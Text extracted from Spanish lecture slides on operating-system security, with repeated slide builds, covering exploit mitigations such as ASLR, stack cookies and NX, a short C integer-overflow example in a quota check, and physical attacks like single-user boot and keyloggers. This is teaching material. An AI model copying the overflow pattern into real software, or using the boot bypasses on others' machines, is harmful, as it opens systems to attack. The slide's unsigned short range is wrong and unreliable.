Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
58. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
59. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
60. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
61. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
62. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
63. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
64. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
65. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
66. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Desbordamientos de enteros
“Integer Overflow”
Jacobo Avariento Seguridad en Sistemas Operativos
67. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
68. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
69. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
70. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Ejemplo
long long max_quota= 2147483647+1; // Overflow?
int current_quota= get_quota(user); // Overflow?
if (current_quota > max_quota) {
printf(‘‘Quota exceeded.‘‘);
_exit(0);
}
Vpopmail/QmailAdmin:
http://www.sofistic.net/es/advisories/0901
Jacobo Avariento Seguridad en Sistemas Operativos
71. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Ejemplo
long long max_quota= 2147483647+1; // Overflow?
int current_quota= get_quota(user); // Overflow?
if (current_quota > max_quota) {
printf(‘‘Quota exceeded.‘‘);
_exit(0);
}
Vpopmail/QmailAdmin:
http://www.sofistic.net/es/advisories/0901
Jacobo Avariento Seguridad en Sistemas Operativos
72. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad F´ısica
Jacobo Avariento Seguridad en Sistemas Operativos
73. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
74. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
75. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
76. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
77. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
78. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Keyloggers
$54.95
Jacobo Avariento Seguridad en Sistemas Operativos
79. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Keyloggers
$89.99
Jacobo Avariento Seguridad en Sistemas Operativos
80. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Efecto Tempest
Fuente: http://www.cl.cam.ac.uk/ mgk25/pet2004-fpd.pdf
Jacobo Avariento Seguridad en Sistemas Operativos
81. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el sistema: Cifrado de datos/particiones
OpenSSL
LUKS
TrueCrypt
Jacobo Avariento Seguridad en Sistemas Operativos
82. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
$ kill -9 $$
Jacobo Avariento Seguridad en Sistemas Operativos